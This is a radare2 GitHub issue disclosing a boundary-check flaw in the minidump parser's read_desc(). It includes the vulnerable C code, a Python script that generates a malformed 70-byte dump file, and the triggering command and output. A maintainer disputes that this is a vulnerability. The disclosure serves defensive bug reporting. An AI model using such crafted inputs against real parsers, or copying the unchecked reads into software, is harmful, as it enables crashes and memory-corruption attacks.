Skip to content

[Bug] MDMP Parser: Insufficient Boundary Check in read_desc() Leads to Invalid Memory Descriptors #25209

Closed

Description

@Keryer

Summary

A boundary check vulnerability in the MDMP (Minidump) parser allows malicious MDMP files to cause read_desc() to partially read memory descriptors, resulting in invalid data_size values (UT64_MAX) being used throughout the analysis. This leads to creation of fake oversized memory mappings and potential integer wraparound issues.

Affected Versions

  • Tested on: radare2 6.0.8
  • Likely affects: All versions with MDMP support

Vulnerability Details

Location

File: libr/bin/format/mdmp/mdmp.c

Function: read_desc() (lines 416-422)

static void read_desc(RBuffer *b, ut64 addr, struct minidump_memory_descriptor64 *desc) {
    st64 o_addr = r_buf_seek (b, 0, R_BUF_CUR);
    r_buf_seek (b, addr, R_BUF_SET);               // No return value check
    desc->start_of_memory_range = r_buf_read_le64 (b);  // No return value check
    desc->data_size = r_buf_read_le64 (b);         // No return value check
    r_buf_seek (b, o_addr, R_BUF_SET);
}

Caller: r_bin_mdmp_init_directory_entry() (line 620)

offset = entry->location.rva + sizeof (memory64_list);
for (i = 0; i < memory64_list.number_of_memory_ranges && offset < obj->size; i++) {
    struct minidump_memory_descriptor64 *desc = R_NEW (struct minidump_memory_descriptor64);
    if (!desc) {
        break;
    }
    read_desc (obj->b, offset, desc);  // Vulnerability here
    r_list_append (obj->streams.memories64.memories, desc);
    offset += sizeof (*desc);  // Always increments by 16, regardless of available data
}

Root Cause

The loop condition offset < obj->size is insufficient because read_desc() needs to read 16 bytes (sizeof(struct minidump_memory_descriptor64)). When offset < obj->size < offset + 16, the condition passes but the read fails partially.

Example:

  • File size: 70 bytes
  • Offset: 60 bytes
  • Condition: 60 < 70 → PASS ✓
  • Required: 60 + 16 = 76 bytes → FAIL ✗ (only 10 bytes available)

When r_buf_read_le64() fails to read 8 bytes, it returns UT64_MAX (0xFFFFFFFFFFFFFFFF), which is then used as a valid data_size.

Proof of Concept

Step 1: Generate Malicious MDMP File

#!/usr/bin/env python3
import struct

MDMP_SIGNATURE = 0x504D444D
MDMP_VERSION = 0xA793
MEMORY_64_LIST_STREAM = 9

data = bytearray()

# Header (32 bytes)
data += struct.pack('<I', MDMP_SIGNATURE)  # signature
data += struct.pack('<I', MDMP_VERSION)    # version
data += struct.pack('<I', 1)                # number_of_streams
data += struct.pack('<I', 32)               # stream_directory_rva
data += struct.pack('<I', 0)                # check_sum (must be 0)
data += struct.pack('<I', 0)                # reserved
data += struct.pack('<Q', 0)                # flags

# Directory entry (12 bytes) at offset 32
data += struct.pack('<I', MEMORY_64_LIST_STREAM)  # stream_type = 9
data += struct.pack('<I', 26)                     # location.data_size
data += struct.pack('<I', 44)                     # location.rva

# Memory64 list (16 bytes) at offset 44
data += struct.pack('<Q', 2)      # number_of_memory_ranges (claims 2)
data += struct.pack('<Q', 0x1000) # base_rva

# Partial descriptor (10 bytes) at offset 60
# Only 10 bytes until EOF (70 total), but descriptor needs 16 bytes
data += struct.pack('<Q', 0xDEADBEEF)  # 8 bytes: start_of_memory_range (valid)
data += b'\xAA\xBB'                      # 2 bytes: partial data_size (invalid!)

with open('poc_mdmp.dmp', 'wb') as f:
    f.write(data)

print(f"Created malicious MDMP: {len(data)} bytes")

Step 2: Trigger the Vulnerability

$ r2 -qc 'iSj' poc_mdmp.dmp

Step 3: Observe Invalid Output

Expected: Valid memory section with reasonable size

Actual:

[{
  "name":"Memory_Section",
  "size":-1,
  "vsize":-1,
  "perm":"-r--",
  "flags":0,
  "paddr":4096,
  "vaddr":3735928559
}]

Analysis:

  • ✓ vaddr = 3735928559 (0xDEADBEEF) - Successfully read (8 bytes available)
  • ✗ size = -1 - Failed read returns UT64_MAX (only 2 bytes available, needs 8)
  • ✗ vsize = -1 - Same invalid value

Visual Demonstration

Click to expand: POC file structure
Offset | Size | Content              | Description
-------|------|----------------------|---------------------------
0x00   | 32   | Header               | Valid MDMP header
0x20   | 12   | Directory entry      | Points to MEMORY_64_LIST_STREAM
0x2C   | 16   | Memory64 list        | Claims 2 memory ranges
0x3C   | 10   | Partial descriptor   | Only 10 bytes (need 16!)
-------|------|----------------------|---------------------------
Total: 70 bytes (0x46)

Loop execution:
  1st iteration: offset = 60 (0x3C)
     Check: offset (60) < file_size (70) → TRUE ✓
     read_desc tries to read 16 bytes at offset 60
     Available: only 10 bytes
     Result: 
       - start_of_memory_range = 0xDEADBEEF (8 bytes read OK)
       - data_size = UT64_MAX (only 2 bytes, returns failure value)

Reproduction

Quick Test

# 1. Generate POC
python3 poc_mdmp_oob.py poc.dmp

# 2. Test with radare2
r2 -qc 'iS' poc.dmp

# Expected output shows size=-1 (UT64_MAX)

Environment

OS: Linux 6.8.0-87-generic
Radare2: 6.0.9
Compiler: gcc/clang with -fsanitize=address,undefined

References


Date: 2026-01-13
Type: Bug / Security
Labels: bug, security, mdmp, parser, boundary-check

Activity

  1. added this to the 6.1.0 milestone on Jan 13, 2026
  2. trufae commented on Jan 14, 2026

    @trufae
    Collaborator

    I dont see any vulnerability here.

  3. added 2 commits that reference this issue on Jan 18, 2026
    edc18a6
    9d943d3
  4. added a commit that references this issue on Jan 26, 2026
    6dc2341
  5. added a commit that references this issue on Jan 27, 2026
    665ab7b
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions